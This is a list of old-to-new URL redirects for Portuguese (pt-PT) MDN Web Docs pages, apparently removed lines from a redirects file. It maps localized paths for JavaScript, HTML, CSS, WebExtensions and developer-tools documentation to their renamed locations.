-/pt-PT/docs/JavaScript/Referência/Operators/Special/in /en-US/docs/Web/JavaScript/Reference/Operators/in
-/pt-PT/docs/JavaScript/Referência/Operators/Special/instanceof /en-US/docs/Web/JavaScript/Reference/Operators/instanceof
-/pt-PT/docs/JavaScript/Referência/Operators/Special/new /en-US/docs/Web/JavaScript/Reference/Operators/new
-/pt-PT/docs/JavaScript/Referência/Operators/Special/set /en-US/docs/Web/JavaScript/Reference/Functions/set
-/pt-PT/docs/JavaScript/Referência/Operators/Special/this /en-US/docs/Web/JavaScript/Reference/Operators/this
-/pt-PT/docs/JavaScript/Referência/Operators/Special/typeof /en-US/docs/Web/JavaScript/Reference/Operators/typeof
-/pt-PT/docs/JavaScript/Referência/Operators/Special/void /en-US/docs/Web/JavaScript/Reference/Operators/void
-/pt-PT/docs/JavaScript/Referência/Reserved_Words /en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords
-/pt-PT/docs/JavaScript/Referência/Statements /en-US/docs/Web/JavaScript/Reference/Statements
-/pt-PT/docs/JavaScript/Referência/Statements/block /en-US/docs/Web/JavaScript/Reference/Statements/block
-/pt-PT/docs/JavaScript/Referência/Statements/break /en-US/docs/Web/JavaScript/Reference/Statements/break
-/pt-PT/docs/JavaScript/Referência/Statements/const /en-US/docs/Web/JavaScript/Reference/Statements/const
-/pt-PT/docs/JavaScript/Referência/Statements/continue /en-US/docs/Web/JavaScript/Reference/Statements/continue
-/pt-PT/docs/JavaScript/Referência/Statements/debugger /en-US/docs/Web/JavaScript/Reference/Statements/debugger
-/pt-PT/docs/JavaScript/Referência/Statements/do...while /en-US/docs/Web/JavaScript/Reference/Statements/do...while
-/pt-PT/docs/JavaScript/Referência/Statements/export /en-US/docs/Web/JavaScript/Reference/Statements/export
-/pt-PT/docs/JavaScript/Referência/Statements/for /en-US/docs/Web/JavaScript/Reference/Statements/for
-/pt-PT/docs/JavaScript/Referência/Statements/for...in /en-US/docs/Web/JavaScript/Reference/Statements/for...in
-/pt-PT/docs/JavaScript/Referência/Statements/function /en-US/docs/Web/JavaScript/Reference/Statements/function
-/pt-PT/docs/JavaScript/Referência/Statements/if...else /en-US/docs/Web/JavaScript/Reference/Statements/if...else
-/pt-PT/docs/JavaScript/Referência/Statements/import /en-US/docs/Web/JavaScript/Reference/Statements/import
-/pt-PT/docs/JavaScript/Referência/Statements/label /en-US/docs/Web/JavaScript/Reference/Statements/label
-/pt-PT/docs/JavaScript/Referência/Statements/let /en-US/docs/Web/JavaScript/Reference/Statements/let
-/pt-PT/docs/JavaScript/Referência/Statements/return /en-US/docs/Web/JavaScript/Reference/Statements/return
-/pt-PT/docs/JavaScript/Referência/Statements/switch /en-US/docs/Web/JavaScript/Reference/Statements/switch
-/pt-PT/docs/JavaScript/Referência/Statements/throw /en-US/docs/Web/JavaScript/Reference/Statements/throw
-/pt-PT/docs/JavaScript/Referência/Statements/try...catch /en-US/docs/Web/JavaScript/Reference/Statements/try...catch
-/pt-PT/docs/JavaScript/Referência/Statements/var /en-US/docs/Web/JavaScript/Reference/Statements/var
-/pt-PT/docs/JavaScript/Referência/Statements/while /en-US/docs/Web/JavaScript/Reference/Statements/while
-/pt-PT/docs/JavaScript/Referência/Statements/with /en-US/docs/Web/JavaScript/Reference/Statements/with
-/pt-PT/docs/JavaScript/Referência/Symbols /en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol
-/pt-PT/docs/JavaScript:O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript
-/pt-PT/docs/JavaScript_Shells /pt-PT/docs/Web/JavaScript/Shells
-/pt-PT/docs/Java_em_Extensões_do_Firefox /pt-PT/docs/orphaned/Java_em_Extensões_do_Firefox
-/pt-PT/docs/Javascript_orientado_a_objetos /pt-PT/docs/orphaned/Javascript_orientado_a_objetos
-/pt-PT/docs/Jogos /pt-PT/docs/Games
-/pt-PT/docs/Jogos/Tutoriais /pt-PT/docs/Games/Tutorials
-/pt-PT/docs/Learn/Acessibilidade /pt-PT/docs/Learn/Accessibility
-/pt-PT/docs/Learn/CSS/Estilo_de_caixas /en-US/docs/Learn/CSS/Building_blocks
-/pt-PT/docs/Learn/CSS/Estilo_de_texto /pt-PT/docs/Learn/CSS/Styling_text
-/pt-PT/docs/Learn/CSS/Howto/FAQ_de_CSS /pt-PT/docs/Learn/CSS/Howto/CSS_FAQ
-/pt-PT/docs/Learn/CSS/Introduction_to_CSS /en-US/docs/Learn/CSS/First_steps
-/pt-PT/docs/Learn/CSS/Introduction_to_CSS/Seletores /en-US/docs/Learn/CSS/Building_blocks/Selectors
-/pt-PT/docs/Learn/Comecar_com_a_Web /pt-PT/docs/Learn/Getting_started_with_the_web
-/pt-PT/docs/Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web /pt-PT/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards
-/pt-PT/docs/Learn/Comecar_com_a_Web/Apresentacao_do_meu_site /pt-PT/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like
-/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico /pt-PT/docs/Learn/Getting_started_with_the_web/CSS_basics
-/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web /pt-PT/docs/Learn/Getting_started_with_the_web/How_the_Web_works
-/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript /pt-PT/docs/Learn/Getting_started_with_the_web/JavaScript_basics
-/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos /pt-PT/docs/Learn/Getting_started_with_the_web/HTML_basics
-/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software /pt-PT/docs/Learn/Getting_started_with_the_web/Installing_basic_software
-/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros /pt-PT/docs/Learn/Getting_started_with_the_web/Dealing_with_files
-/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web /pt-PT/docs/Learn/Getting_started_with_the_web/Publishing_your_website
-/pt-PT/docs/Learn/HTML/Como /pt-PT/docs/Learn/HTML/Howto
-/pt-PT/docs/Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem /pt-PT/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Depurar_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Getting_started
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML /pt-PT/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
-/pt-PT/docs/Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta /pt-PT/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
-/pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla /pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page
-/pt-PT/docs/Learn/HTML/Multimedia_e_integracao /pt-PT/docs/Learn/HTML/Multimedia_and_embedding
-/pt-PT/docs/Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo /pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
-/pt-PT/docs/Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas /pt-PT/docs/Learn/HTML/Tables/Structuring_planet_data
-/pt-PT/docs/Learn/HTML/Tables/Avancada /pt-PT/docs/Learn/HTML/Tables/Advanced
-/pt-PT/docs/Learn/HTML/Tables/Basicos /pt-PT/docs/Learn/HTML/Tables/Basics
-/pt-PT/docs/Learn/JavaScript/Primeiros_passos /pt-PT/docs/Learn/JavaScript/First_steps
-/pt-PT/docs/Learn/No-servidor /pt-PT/docs/Learn/Server-side
-/pt-PT/docs/Learn/No-servidor/Django /pt-PT/docs/Learn/Server-side/Django
-/pt-PT/docs/Learn/No-servidor/Express_Nodejs /pt-PT/docs/Learn/Server-side/Express_Nodejs
-/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node /pt-PT/docs/Learn/Server-side/Express_Nodejs/development_environment
-/pt-PT/docs/Learn/No-servidor/Express_Nodejs/Introduction /pt-PT/docs/Learn/Server-side/Express_Nodejs/Introduction
-/pt-PT/docs/Learn/No-servidor/Servidor_node_sem_framework /pt-PT/docs/Learn/Server-side/Node_server_without_framework
-/pt-PT/docs/Learn/Questoes_comuns /pt-PT/docs/Learn/Common_questions
-/pt-PT/docs/Learn/Questoes_comuns/Como_funciona_a_Internet /pt-PT/docs/Learn/Common_questions/How_does_the_Internet_work
-/pt-PT/docs/Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local /pt-PT/docs/Learn/Common_questions/set_up_a_local_testing_server
-/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_URL /pt-PT/docs/Learn/Common_questions/What_is_a_URL
-/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio /pt-PT/docs/Learn/Common_questions/What_is_a_domain_name
-/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_servidor_da_Web /pt-PT/docs/Learn/Common_questions/What_is_a_web_server
-/pt-PT/docs/Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa /pt-PT/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines
-/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador /pt-PT/docs/Learn/Tools_and_testing/Cross_browser_testing
-/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade /pt-PT/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility
-/pt-PT/docs/Localizar_descrições_de_extensões /pt-PT/docs/orphaned/Localizar_descrições_de_extensões
-/pt-PT/docs/Localização /pt-PT/docs/Glossary/Localization
-/pt-PT/docs/MDN/Comunidade /pt-PT/docs/orphaned/MDN/Community
-/pt-PT/docs/MDN/Comunidade/Conversações /pt-PT/docs/orphaned/MDN/Community/Conversations
-/pt-PT/docs/MDN/Comunidade/Doc_sprints /pt-PT/docs/orphaned/MDN/Community/Doc_sprints
-/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer /pt-PT/docs/orphaned/MDN/Community/Whats_happening
-/pt-PT/docs/MDN/Comunidade/Trabalhar_em_comunidade /pt-PT/docs/orphaned/MDN/Community/Working_in_community
-/pt-PT/docs/MDN/Contribute/Editor /pt-PT/docs/orphaned/MDN/Editor
-/pt-PT/docs/MDN/Contribute/Editor/Basicos /pt-PT/docs/orphaned/MDN/Editor/Basics
-/pt-PT/docs/MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live /pt-PT/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live
-/pt-PT/docs/MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina /pt-PT/docs/orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page
-/pt-PT/docs/MDN/Contribute/Howto/Como_efetuar_revisao_tecnica /pt-PT/docs/orphaned/MDN/Contribute/Howto/Do_a_technical_review
-/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web /pt-PT/docs/orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
-/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario /pt-PT/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
-/pt-PT/docs/MDN/Contribute/Howto/Comunicar_um_problema /pt-PT/docs/MDN/Contribute/Howto/Report_a_problem
-/pt-PT/docs/MDN/Contribute/Howto/Criar_e_editar_paginas /pt-PT/docs/MDN/Contribute/Howto/Create_and_edit_pages
-/pt-PT/docs/MDN/Contribute/Howto/Criar_uma_conta_MDN /pt-PT/docs/orphaned/MDN/Contribute/Howto/Create_an_MDN_account
-/pt-PT/docs/MDN/Contribute/Howto/Etiqueta /pt-PT/docs/MDN/Contribute/Howto/Tag
-/pt-PT/docs/MDN/Contribute/Howto/Marcar_paginas_JavaScript /pt-PT/docs/orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages
-/pt-PT/docs/MDN/Contribute/Howto/Participar_testes_beta /pt-PT/docs/orphaned/MDN/Contribute/Howto/Be_a_beta_tester
-/pt-PT/docs/MDN/Contribute/Howto/fazer_revisão_editorial /pt-PT/docs/orphaned/MDN/Contribute/Howto/Do_an_editorial_review
-/pt-PT/docs/MDN/Contribute/Structures /pt-PT/docs/MDN/Structures
-/pt-PT/docs/MDN/Contribute/Structures/API_references /pt-PT/docs/orphaned/MDN/Structures/API_references
-/pt-PT/docs/MDN/Contribute/Structures/API_references/Barras_laterais_de_referencia_da_API /pt-PT/docs/MDN/Contribute/Howto/Write_an_API_reference/Sidebars
-/pt-PT/docs/MDN/Contribute/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa /pt-PT/docs/orphaned/MDN/Structures/API_references/What_does_an_API_reference_need
-/pt-PT/docs/MDN/Contribute/Structures/Exemplos_live /pt-PT/docs/MDN/Structures/Live_samples
-/pt-PT/docs/MDN/Contribute/Structures/Macros /pt-PT/docs/MDN/Structures/Macros
-/pt-PT/docs/MDN/Contribute/Tools /pt-PT/docs/MDN/Tools
-/pt-PT/docs/MDN/Contribute/Tools/Edição_de_modelo /pt-PT/docs/orphaned/MDN/Tools/Template_editing
-/pt-PT/docs/MDN/Contribute/Tools/KumaScript /pt-PT/docs/MDN/Tools/KumaScript
-/pt-PT/docs/MDN/Contribute/Tools/Vigiar_pagina /pt-PT/docs/orphaned/MDN/Tools/Page_watching
-/pt-PT/docs/MDN/Contribute/linhas_diretrizes /pt-PT/docs/MDN/Guidelines
-/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Convencoes_definicoes /pt-PT/docs/MDN/Guidelines/Conventions_definitions
-/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Guia_de_estilo_de_escrita /pt-PT/docs/MDN/Guidelines/Writing_style_guide
-/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Isto_pertence_a_MDN /pt-PT/docs/MDN/Guidelines/Does_this_belong_on_MDN
-/pt-PT/docs/MDN/Contribute/resolucao_de_problemas /pt-PT/docs/orphaned/MDN/Troubleshooting
-/pt-PT/docs/MDN/Editor /pt-PT/docs/orphaned/MDN/Editor
-/pt-PT/docs/MDN/Editor/Basicos /pt-PT/docs/orphaned/MDN/Editor/Basics
-/pt-PT/docs/MDN/Guidelines/Convencoes_definicoes /pt-PT/docs/MDN/Guidelines/Conventions_definitions
-/pt-PT/docs/MDN/Guidelines/Guia_de_estilo_de_escrita /pt-PT/docs/MDN/Guidelines/Writing_style_guide
-/pt-PT/docs/MDN/Guidelines/Isto_pertence_a_MDN /pt-PT/docs/MDN/Guidelines/Does_this_belong_on_MDN
-/pt-PT/docs/MDN/Intrudução /pt-PT/docs/MDN/Contribute/Getting_started
-/pt-PT/docs/MDN/Kuma /pt-PT/docs/MDN/Yari
-/pt-PT/docs/MDN/Opiniao /pt-PT/docs/MDN/Contribute/Feedback
-/pt-PT/docs/MDN/Sobre /pt-PT/docs/MDN/About
-/pt-PT/docs/MDN/Structures/API_references /pt-PT/docs/orphaned/MDN/Structures/API_references
-/pt-PT/docs/MDN/Structures/API_references/Barras_laterais_de_referencia_da_API /pt-PT/docs/MDN/Contribute/Howto/Write_an_API_reference/Sidebars
-/pt-PT/docs/MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa /pt-PT/docs/orphaned/MDN/Structures/API_references/What_does_an_API_reference_need
-/pt-PT/docs/MDN/Structures/Exemplos_live /pt-PT/docs/MDN/Structures/Live_samples
-/pt-PT/docs/MDN/Tools/Edição_de_modelo /pt-PT/docs/orphaned/MDN/Tools/Template_editing
-/pt-PT/docs/MDN/Tools/Vigiar_pagina /pt-PT/docs/orphaned/MDN/Tools/Page_watching
-/pt-PT/docs/MDN/Troubleshooting /pt-PT/docs/orphaned/MDN/Troubleshooting
-/pt-PT/docs/MDN_at_ten /pt-PT/docs/MDN/At_ten
-/pt-PT/docs/MDN_at_ten/Contribuir_para_MDN /pt-PT/docs/conflicting/MDN/Contribute
-/pt-PT/docs/MDN_at_ten/Historia_da_MDN /pt-PT/docs/MDN/At_ten/History_of_MDN
-/pt-PT/docs/Manipuladores_de_protocolo_web /pt-PT/docs/orphaned/Manipuladores_de_protocolo_web
-/pt-PT/docs/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 /pt-PT/docs/orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/Armazenamento /pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/storage
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels /pt-PT/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Anatomia_de_uma_extensao /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/E_a_seguir /pt-PT/docs/Mozilla/Add-ons/WebExtensions/What_next_
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Exemplos_extensoes /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Examples
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions /pt-PT/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Scripts_Conteudo /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Content_scripts
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome /pt-PT/docs/orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/dubla_padrões /pt-PT/docs/Mozilla/Add-ons/WebExtensions/Match_patterns
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels /pt-PT/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications /pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings
-/pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icones /pt-PT/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons
-/pt-PT/docs/Mudanças_no_Gecko_1.9_que_afetam_websites /pt-PT/docs/Mozilla/Firefox/Releases/3/Site_compatibility
-/pt-PT/docs/Novidades_no_Javascript_1.8 /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8
-/pt-PT/docs/O_DOM_e_o_JavaScript /pt-PT/docs/orphaned/O_DOM_e_o_JavaScript
-/pt-PT/docs/Plugins/Ativacao_de_Flash:_comparacao_de_navegador /pt-PT/docs/orphaned/Plugins/Flash_Activation:_Browser_Comparison
-/pt-PT/docs/Plugins/Flash_para_HTML5 /pt-PT/docs/Plugins/Flash_to_HTML5
-/pt-PT/docs/Página_principal /pt-PT/docs/Web
-/pt-PT/docs/Referência_CSS /pt-PT/docs/Web/CSS/Reference
-/pt-PT/docs/Referência_JSDBGAPI /pt-PT/docs/orphaned/Referência_JSDBGAPI
-/pt-PT/docs/Referência_do_DOM_Gecko/Prefácio /pt-PT/docs/orphaned/Referência_do_DOM_Gecko/Prefácio
-/pt-PT/docs/Referência_do_DOM_Gecko:Prefácio /pt-PT/docs/orphaned/Referência_do_DOM_Gecko/Prefácio
-/pt-PT/docs/SVG /pt-PT/docs/Web/SVG
-/pt-PT/docs/SVG/Tutorial /pt-PT/docs/Web/SVG/Tutorial
-/pt-PT/docs/Sobre_o_Document_Object_Model /pt-PT/docs/orphaned/Sobre_o_Document_Object_Model
-/pt-PT/docs/Tinderbox /pt-PT/docs/orphaned/Tinderbox
-/pt-PT/docs/Toolkit_API /pt-PT/docs/orphaned/Toolkit_API
-/pt-PT/docs/Tools/Add-ons /pt-PT/docs/orphaned/Tools/Add-ons
-/pt-PT/docs/Tools/Capturas_de_ecra /pt-PT/docs/Tools/Taking_screenshots
-/pt-PT/docs/Tools/Configurações /pt-PT/docs/Tools/Settings
-/pt-PT/docs/Tools/Consola_da_Web /pt-PT/docs/Tools/Web_Console
-/pt-PT/docs/Tools/Consola_da_Web/Abertura_Consola_Web /pt-PT/docs/Tools/Web_Console/UI_Tour
-/pt-PT/docs/Tools/Consola_da_Web/Ajuda /pt-PT/docs/Tools/Web_Console/Helpers
-/pt-PT/docs/Tools/Consola_da_Web/Atalhos_teclado /pt-PT/docs/Tools/Web_Console/Keyboard_shortcuts
-/pt-PT/docs/Tools/Consola_da_Web/Dividir_consola /pt-PT/docs/Tools/Web_Console/Split_console
-/pt-PT/docs/Tools/Consola_da_Web/Mensagens_consola /pt-PT/docs/Tools/Web_Console/Console_messages
-/pt-PT/docs/Tools/Consola_da_Web/O_interprete_da_linha_de_comandos /pt-PT/docs/Tools/Web_Console/The_command_line_interpreter
-/pt-PT/docs/Tools/Consola_da_Web/Rich_output /pt-PT/docs/Tools/Web_Console/Rich_output
-/pt-PT/docs/Tools/Debugger/Demonstracao_IU /pt-PT/docs/Tools/Debugger/UI_Tour
-/pt-PT/docs/Tools/Debugger/How_to/Abrir_o_depurador /pt-PT/docs/Tools/Debugger/How_to/Open_the_debugger
-/pt-PT/docs/Tools/Desempenho /pt-PT/docs/Tools/Performance
-/pt-PT/docs/Tools/Desempenho/Arvore_de_Chamada /pt-PT/docs/Tools/Performance/Call_Tree
-/pt-PT/docs/Tools/Desempenho/Cascata /pt-PT/docs/Tools/Performance/Waterfall
-/pt-PT/docs/Tools/Desempenho/Como_fazer /pt-PT/docs/Tools/Performance/How_to
-/pt-PT/docs/Tools/Desempenho/Frame_rate /pt-PT/docs/Tools/Performance/Frame_rate
-/pt-PT/docs/Tools/Editor_de_audio_da_Web /pt-PT/docs/Tools/Web_Audio_Editor
-/pt-PT/docs/Tools/Editor_de_estilo /pt-PT/docs/Tools/Style_Editor
-/pt-PT/docs/Tools/Inspetor_de_armazenamento /pt-PT/docs/Tools/Storage_Inspector
-/pt-PT/docs/Tools/Memoria /pt-PT/docs/Tools/Memory
-/pt-PT/docs/Tools/Modo_de_Desenho_Adaptavel /pt-PT/docs/Tools/Responsive_Design_Mode
-/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU /pt-PT/docs/Tools/Page_Inspector/UI_Tour
-/pt-PT/docs/Tools/Page_Inspector/How_to/Abrir_o_inspetor /pt-PT/docs/Tools/Page_Inspector/How_to/Open_the_Inspector
-/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_CSS /pt-PT/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS
-/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa /pt-PT/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model
-/pt-PT/docs/Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores /pt-PT/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors
-/pt-PT/docs/Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina /pt-PT/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page
-/pt-PT/docs/Tools/Page_Inspector/How_to/Trabalhar_com_animacoes /pt-PT/docs/Tools/Page_Inspector/How_to/Work_with_animations
-/pt-PT/docs/Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor /pt-PT/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API
-/pt-PT/docs/Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra /pt-PT/docs/Tools/Page_Inspector/How_to/Edit_fonts
-/pt-PT/docs/Tools/Page_Inspector/atalhos_de_teclado /pt-PT/docs/Tools/Page_Inspector/Keyboard_shortcuts
-/pt-PT/docs/Tools/Performance/Guia_da_IU /pt-PT/docs/Tools/Performance/UI_Tour
-/pt-PT/docs/Tools/Remote_Debugging/Depuracao_remota_Thunderbird /pt-PT/docs/Tools/Remote_Debugging/Thunderbird
-/pt-PT/docs/Tools/atalhos_de_teclado /pt-PT/docs/Tools/Keyboard_shortcuts
-/pt-PT/docs/Transformar_XML_com_XSLT /pt-PT/docs/orphaned/Transformar_XML_com_XSLT
-/pt-PT/docs/Transformar_XML_com_XSLT/Para_leitura_adicional /pt-PT/docs/orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional
-/pt-PT/docs/Transformar_XML_com_XSLT:Para_leitura_adicional /pt-PT/docs/orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional
-/pt-PT/docs/Tutorial_XUL /pt-PT/docs/orphaned/Tutorial_XUL
